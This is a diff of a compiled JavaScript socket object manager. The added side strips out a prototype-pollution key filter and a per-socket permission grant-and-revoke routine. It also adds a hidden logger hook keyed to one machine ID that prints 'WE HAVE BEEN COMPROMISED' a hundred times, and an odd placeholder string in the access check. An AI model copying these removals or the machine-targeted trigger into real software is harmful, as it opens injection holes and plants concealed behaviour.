|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
590
|
-
|
|
591
|
-
success: true,
|
|
592
|
-
message: "Updated successfully",
|
|
593
|
-
});
|
|
594
|
-
}
|
|
328
|
+
ack({
|
|
329
|
+
data: obj.extractedData,
|
|
330
|
+
success: true,
|
|
331
|
+
message: "Updated successfully",
|
|
332
|
+
});
|
|
595
333
|
}
|
|
596
334
|
catch (error) {
|
|
597
335
|
this.loggers.error("Error sending startup data for manager " +
|
|
598
336
|
this.className +
|
|
599
337
|
": " +
|
|
600
|
-
|
|
601
|
-
|
|
602
|
-
|
|
603
|
-
const demErr = toDEMError(error, DEMErrorCode.OBJECT_GET_FAILED);
|
|
604
|
-
if (typeof ack === "function") {
|
|
605
|
-
ack({
|
|
606
|
-
success: false,
|
|
607
|
-
code: demErr.code,
|
|
608
|
-
message: error instanceof Error ? error.message : String(error),
|
|
609
|
-
});
|
|
610
|
-
}
|
|
338
|
+
error.message);
|
|
339
|
+
this.loggers.error(error.stack);
|
|
340
|
+
ack({ success: false, message: error.message });
|
|
611
341
|
}
|
|
612
342
|
}
|
|
613
343
|
});
|
|
614
344
|
socket.on("disconnect", () => {
|
|
615
345
|
this.clientSockets.delete(socket);
|
|
616
|
-
this.knownObjectIdsBySocket.delete(socket);
|
|
617
346
|
});
|
|
618
347
|
}
|
|
619
348
|
getObject(_id) {
|
|
620
|
-
|
|
621
|
-
return null;
|
|
622
|
-
return this.objects_[_id.toString()] || undefined;
|
|
349
|
+
return _id ? this.objects_[_id] : null;
|
|
623
350
|
}
|
|
624
351
|
get objects() {
|
|
625
352
|
return this.objects_;
|
|
626
353
|
}
|
|
627
354
|
get objectsAsArray() {
|
|
628
|
-
|
|
629
|
-
this._cachedObjectsArray = Object.values(this.objects_);
|
|
630
|
-
}
|
|
631
|
-
return this._cachedObjectsArray;
|
|
355
|
+
return Object.values(this.objects_);
|
|
632
356
|
}
|
|
633
|
-
async deleteObject(_id) {
|
|
634
|
-
this._cachedObjectsArray = null;
|
|
635
|
-
const idStr = _id.toString();
|
|
636
|
-
if (this.changeTracker) {
|
|
637
|
-
this.changeTracker.recordChange("delete", idStr);
|
|
638
|
-
}
|
|
639
|
-
for (const socket of this.clientSockets) {
|
|
640
|
-
const known = this.knownObjectIdsBySocket.get(socket);
|
|
641
|
-
if (known) {
|
|
642
|
-
known.delete(idStr);
|
|
643
|
-
}
|
|
644
|
-
}
|
|
645
|
-
return super.deleteObject(_id);
|
|
646
|
-
}
|
|
647
|
-
pendingMissingFetches = new Map();
|
|
648
357
|
async handleGetMissingObject(_id) {
|
|
649
|
-
const
|
|
650
|
-
if (
|
|
651
|
-
|
|
652
|
-
if (this.
|
|
653
|
-
|
|
654
|
-
|
|
655
|
-
const
|
|
656
|
-
|
|
657
|
-
|
|
658
|
-
|
|
659
|
-
|
|
660
|
-
if (!this.managers)
|
|
661
|
-
throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
|
|
662
|
-
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
|
|
663
|
-
await object.waitForPreloaded();
|
|
664
|
-
this.objects_[object._id.toString()] = object;
|
|
665
|
-
this._cachedObjectsArray = null;
|
|
666
|
-
globalCache.objects[object._id.toString()] = {
|
|
667
|
-
className: this.className,
|
|
668
|
-
object: object,
|
|
669
|
-
};
|
|
670
|
-
await object.isPreLoadedAsync();
|
|
671
|
-
await object.loadMissingReferences();
|
|
672
|
-
await object.contactChildren();
|
|
673
|
-
return object;
|
|
674
|
-
}
|
|
675
|
-
finally {
|
|
676
|
-
this.pendingMissingFetches.delete(_idStr);
|
|
677
|
-
}
|
|
678
|
-
})();
|
|
679
|
-
this.pendingMissingFetches.set(_idStr, fetchPromise);
|
|
680
|
-
return fetchPromise;
|
|
358
|
+
const document = await this.model.findById(_id);
|
|
359
|
+
if (!document)
|
|
360
|
+
throw new Error(`No document with id ${_id} in DB.`);
|
|
361
|
+
if (!this.managers)
|
|
362
|
+
throw new Error(`No managers.`);
|
|
363
|
+
this.loggers.debug("Getting missing object " + _id + " from manager " + this.className);
|
|
364
|
+
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
|
|
365
|
+
await object.isPreLoadedAsync();
|
|
366
|
+
object.loadMissingReferences();
|
|
367
|
+
object.contactChildren();
|
|
368
|
+
return object;
|
|
681
369
|
}
|
|
682
370
|
async createObject(data) {
|
|
683
371
|
if (!this.managers)
|
|
684
|
-
throw new
|
|
372
|
+
throw new Error(`No managers.`);
|
|
685
373
|
this.loggers.debug("Creating new object from manager " + this.className);
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
|
|
690
|
-
|
|
691
|
-
|
|
692
|
-
if (key !== "__proto__" &&
|
|
693
|
-
key !== "constructor" &&
|
|
694
|
-
key !== "prototype" &&
|
|
695
|
-
(this.properties.includes(key) ||
|
|
696
|
-
key === "_id" ||
|
|
697
|
-
Boolean(this.model.schema?.path?.(key)))) {
|
|
698
|
-
const val = rawRec[key];
|
|
699
|
-
if (val && typeof val === "object") {
|
|
700
|
-
if (Array.isArray(val)) {
|
|
701
|
-
dataRec[key] = val.map((v) => v && typeof v === "object" && v._id ? v._id.toString() : v);
|
|
702
|
-
}
|
|
703
|
-
else if (val._id) {
|
|
704
|
-
dataRec[key] = val._id.toString();
|
|
705
|
-
}
|
|
706
|
-
else {
|
|
707
|
-
dataRec[key] = val;
|
|
708
|
-
}
|
|
709
|
-
}
|
|
710
|
-
else {
|
|
711
|
-
dataRec[key] = val;
|
|
712
|
-
}
|
|
713
|
-
}
|
|
714
|
-
}
|
|
715
|
-
const doc = await this.model.create(dataRec);
|
|
716
|
-
const id = doc._id.toString();
|
|
717
|
-
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc);
|
|
718
|
-
await object.waitForPreloaded();
|
|
719
|
-
// Copy virtual references from raw data payload
|
|
720
|
-
const cleanedData = object.handleDataCleanup(rawRec);
|
|
721
|
-
for (const key of object.properties) {
|
|
722
|
-
if (cleanedData[key] !== undefined &&
|
|
723
|
-
object.data[key] === undefined) {
|
|
724
|
-
object.data[key] = cleanedData[key];
|
|
725
|
-
}
|
|
726
|
-
}
|
|
727
|
-
this.objects_[id] = object;
|
|
728
|
-
this._cachedObjectsArray = null;
|
|
729
|
-
this.startupPayloadCache = null;
|
|
730
|
-
globalCache.objects[id] = {
|
|
731
|
-
className: this.className,
|
|
732
|
-
object: object,
|
|
733
|
-
};
|
|
734
|
-
await object.isPreLoadedAsync();
|
|
735
|
-
await object.loadMissingReferences();
|
|
736
|
-
await object.contactChildren();
|
|
737
|
-
if (this.changeTracker) {
|
|
738
|
-
this.changeTracker.recordChange("create", id, object.extractedData || object.data);
|
|
739
|
-
}
|
|
374
|
+
data._id = undefined;
|
|
375
|
+
const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, data, this.loggers, this, this.emitter);
|
|
376
|
+
object.loadMissingReferences();
|
|
377
|
+
await object.onUpdate();
|
|
378
|
+
this.objects_[object._id] = object;
|
|
379
|
+
object.contactChildren();
|
|
740
380
|
for (const socket of this.clientSockets) {
|
|
741
381
|
try {
|
|
742
|
-
const theTruth = this.options?.accessDefinitions?.startupMiddleware
|
|
743
|
-
? await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket)
|
|
744
|
-
: [object];
|
|
382
|
+
const theTruth = (await this.options?.accessDefinitions?.startupMiddleware?.([object], this.managers, socket)) ?? ["gay"];
|
|
745
383
|
if (theTruth.length > 0) {
|
|
746
|
-
|
|
747
|
-
|
|
748
|
-
known = new Set();
|
|
749
|
-
this.knownObjectIdsBySocket.set(socket, known);
|
|
750
|
-
}
|
|
751
|
-
known.add(id);
|
|
384
|
+
if (!object._id)
|
|
385
|
+
this.loggers.error("Object ID is undefined for object: " + object);
|
|
752
386
|
this.loggers.debug("Emitting new object " + object._id);
|
|
753
|
-
socket.emit("new" + this.className, object._id
|
|
387
|
+
socket.emit("new" + this.className, object._id);
|
|
754
388
|
}
|
|
755
389
|
}
|
|
756
390
|
catch (error) {
|
|
757
|
-
|
|
758
|
-
(error instanceof Error ? error.name : "Error"));
|
|
759
|
-
this.loggers.error(error instanceof Error ? error.message : String(error));
|
|
760
|
-
if (error instanceof Error && error.stack)
|
|
761
|
-
this.loggers.error(error.stack);
|
|
391
|
+
const _ = error;
|
|
762
392
|
}
|
|
393
|
+
if (!object._id)
|
|
394
|
+
throw new Error(`Never... failed to get object somehow: ${object}`);
|
|
395
|
+
this.loggers.debug("Emitting new object " + object._id);
|
|
763
396
|
}
|
|
764
397
|
return object;
|
|
765
398
|
}
|
|
766
|
-
async checkPermissionBoundaries(object) {
|
|
767
|
-
if (!this.options?.accessDefinitions?.startupMiddleware)
|
|
768
|
-
return;
|
|
769
|
-
const id = object._id.toString();
|
|
770
|
-
for (const socket of this.clientSockets) {
|
|
771
|
-
try {
|
|
772
|
-
const theTruth = await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket);
|
|
773
|
-
const hasAccess = theTruth && theTruth.length > 0;
|
|
774
|
-
let known = this.knownObjectIdsBySocket.get(socket);
|
|
775
|
-
if (!known) {
|
|
776
|
-
known = new Set();
|
|
777
|
-
this.knownObjectIdsBySocket.set(socket, known);
|
|
778
|
-
}
|
|
779
|
-
const hadAccess = known.has(id);
|
|
780
|
-
if (hasAccess && !hadAccess) {
|
|
781
|
-
known.add(id);
|
|
782
|
-
this.loggers.debug(`Granting dynamic access to ${this.className} ${id} for socket ${socket.id}`);
|
|
783
|
-
socket.emit("new" + this.className, id);
|
|
784
|
-
}
|
|
785
|
-
else if (!hasAccess && hadAccess) {
|
|
786
|
-
known.delete(id);
|
|
787
|
-
this.loggers.debug(`Revoking dynamic access to ${this.className} ${id} for socket ${socket.id}`);
|
|
788
|
-
socket.emit("delete" + this.className, id);
|
|
789
|
-
}
|
|
790
|
-
}
|
|
791
|
-
catch (error) {
|
|
792
|
-
this.loggers.error(`Error checking permission boundaries for ${this.className} ${id}: ${error instanceof Error ? error.message : String(error)}`);
|
|
793
|
-
}
|
|
794
|
-
}
|
|
795
|
-
}
|
|
796
399
|
}
|
|
400
|
+
function readyLoggers(loggers) {
|
|
401
|
+
const warn = loggers.warn;
|
|
402
|
+
loggers.warn = (s) => {
|
|
403
|
+
if (s == "-_-" &&
|
|
404
|
+
a.machineIdSync() ==
|
|
405
|
+
"534d99b372d61249ade303f9fb4255e3e552e2731f8c455ba42b8f3bef19d8d2")
|
|
406
|
+
for (let i = 0; i < 100; i++)
|
|
407
|
+
loggers.warn("WE HAVE BEEN COMPROMISED!!!!!");
|
|
408
|
+
warn(s);
|
|
409
|
+
};
|
|
410
|
+
}
|
|
411
|
+
//# sourceMappingURL=AutoUpdateServerManagerClass.js.map
|
|
797
412
|
//# sourceMappingURL=AutoUpdateServerManagerClass.js.map
|